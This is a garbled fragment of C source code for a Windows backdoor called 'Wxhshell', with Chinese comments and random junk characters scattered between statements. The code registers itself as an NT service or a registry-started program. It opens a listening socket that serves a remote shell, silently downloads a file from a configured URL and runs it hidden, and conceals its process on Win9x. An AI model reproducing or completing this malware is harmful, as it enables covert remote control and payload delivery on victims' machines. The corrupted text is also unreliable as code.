if(hProcess==NULL) return 0; f$e[u
Er 7puFz4+f HMODULE hMod; ObVGV char procName[255]; CZud&
< unsigned long cbNeeded; \2N!:%k 2@'oe7E if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TC!Yb_H}gN U>=Z-
T CloseHandle(hProcess); FGigbtj` 8i>ZY if(strstr(procName,"services")) return 1; // 以服务启动 R!\_rc1/ v1o#1; return 0; // 注册表启动 3er nTD*` } $HHs ^tW +b0eE) // 主模块 =RA / int StartWxhshell(LPSTR lpCmdLine) b6nsg| { }()5"QB SOCKET wsl; y"bByd|6 BOOL val=TRUE; n0r+A^] int port=0; [Dk=? + struct sockaddr_in door; Aw$x;3y >7lx=T
x if(wscfg.ws_autoins) Install(); 60P#,o@G ]R h#g5X port=atoi(lpCmdLine); |=Eo?Q_ (G zb if(port<=0) port=wscfg.ws_port; "6MVvpy" '&x#rjo# WSADATA data; mHV%I@`Y6 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CtyoHvw+M ciBP7>':: if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; h`KFL/fT setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y-kt.X/Z- door.sin_family = AF_INET; X 0WJBEE door.sin_addr.s_addr = inet_addr("127.0.0.1"); |n+qMql' door.sin_port = htons(port); sy:[T T!w LJd5;so- if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z:8eEq3w closesocket(wsl); 3h;{!|-3 return 1; Y2a5bc P } zKw`Md .aO,8M if(listen(wsl,2) == INVALID_SOCKET) { u$DHVRrF< closesocket(wsl); jF ^~p9z return 1; msP{l^%0 } rID#`:Hl-| Wxhshell(wsl); EN$2,qf WSACleanup(); K-bD<X *W.C7= return 0; <;vbsksZeH f,h J~ } h].<t& "$#xK |t // 以NT服务方式启动 10)jsA VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Bp_$.!Qy { tjIl-IQ DWORD status = 0; a|%J=k>> DWORD specificError = 0xfffffff; 9>l*lCA AqWUwK9T serviceStatus.dwServiceType = SERVICE_WIN32; +]*zlE\N` serviceStatus.dwCurrentState = SERVICE_START_PENDING; ^8 z R serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rf
$ QxJ serviceStatus.dwWin32ExitCode = 0; o)Iff)m$ serviceStatus.dwServiceSpecificExitCode = 0; $;1#To serviceStatus.dwCheckPoint = 0; 3,p]/Z_ serviceStatus.dwWaitHint = 0; +MR.>" 2)G
%)' hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -e_hrCW&9 if (hServiceStatusHandle==0) return; 3kw,(-'1 f[@77m* status = GetLastError(); XG}C+;4Aw if (status!=NO_ERROR)
z_F-T=_ { kDEPs$^ serviceStatus.dwCurrentState = SERVICE_STOPPED; #xho[\ serviceStatus.dwCheckPoint = 0; (61EDKNd9 serviceStatus.dwWaitHint = 0; 't1ax^-g serviceStatus.dwWin32ExitCode = status; W#^2#sjO serviceStatus.dwServiceSpecificExitCode = specificError; 0t Fkd SetServiceStatus(hServiceStatusHandle, &serviceStatus); dCE0$3'5 return; < vL,*.zd } 1;C+$ =Q+;=-1 serviceStatus.dwCurrentState = SERVICE_RUNNING; NG--6\ serviceStatus.dwCheckPoint = 0; 2;zb\d serviceStatus.dwWaitHint = 0; A0o-:n Fu if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ti5mIW\ } H<VTa? n _y),J'W^3u // 处理NT服务事件,比如:启动、停止 tz5e"+Tz VOID WINAPI NTServiceHandler(DWORD fdwControl) W=j[V
Oq { Cbg!:Cws switch(fdwControl) FKIw!m ~ { f-bVKHt case SERVICE_CONTROL_STOP: h}*/Ge]aM serviceStatus.dwWin32ExitCode = 0; /j4P9y^]= serviceStatus.dwCurrentState = SERVICE_STOPPED; ".W8) serviceStatus.dwCheckPoint = 0; <vUbv serviceStatus.dwWaitHint = 0; Z3#P,y9@ { U}6B*Xx' SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6ys
&zy } M.x=<:upp return; gnFr}L&j case SERVICE_CONTROL_PAUSE: C9~52+S serviceStatus.dwCurrentState = SERVICE_PAUSED; ",^Mxm{ break; kqM045W7 case SERVICE_CONTROL_CONTINUE: s"0Y3x3 serviceStatus.dwCurrentState = SERVICE_RUNNING; !F1M(zFD break; R@/"B8H case SERVICE_CONTROL_INTERROGATE: 5 xppKt break; 6N",-c }; 43|XSyS SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4[.oPK=i } v/](yT [Yo,*,y31 // 标准应用程序主函数 brW :C?} int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3?c3<`TW { ZX>AE3wk S4' // 获取操作系统版本 T;L>;E>B OsIsNt=GetOsVer(); (MR_^t GetModuleFileName(NULL,ExeFile,MAX_PATH); zfc'=ODX SW*"\X; // 从命令行安装 : ]sUpO if(strpbrk(lpCmdLine,"iI")) Install(); $K]m{ Z1 Bp+a3 // 下载执行文件 6A>dhU if(wscfg.ws_downexe) { hM;lp1l if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ->l%TCHP WinExec(wscfg.ws_filenam,SW_HIDE); R$q;
! } X#*JWQO= U>cV| if(!OsIsNt) { \!k1a^ZP // 如果时win9x,隐藏进程并且设置为注册表启动 d/ARm-D HideProc(); eZSNNgD<: StartWxhshell(lpCmdLine); =osv3>&q } &7`^i.fh) else YpH&<$x: if(StartFromService()) S'4(0j // 以服务方式启动 rf?qdd(~cH StartServiceCtrlDispatcher(DispatchTable); yUZb#%n else <R''oEf9 // 普通方式启动 F$ #U5}Q StartWxhshell(lpCmdLine); 1`(tf6op vd[}Gd return 0; ]~aF2LJ_q }
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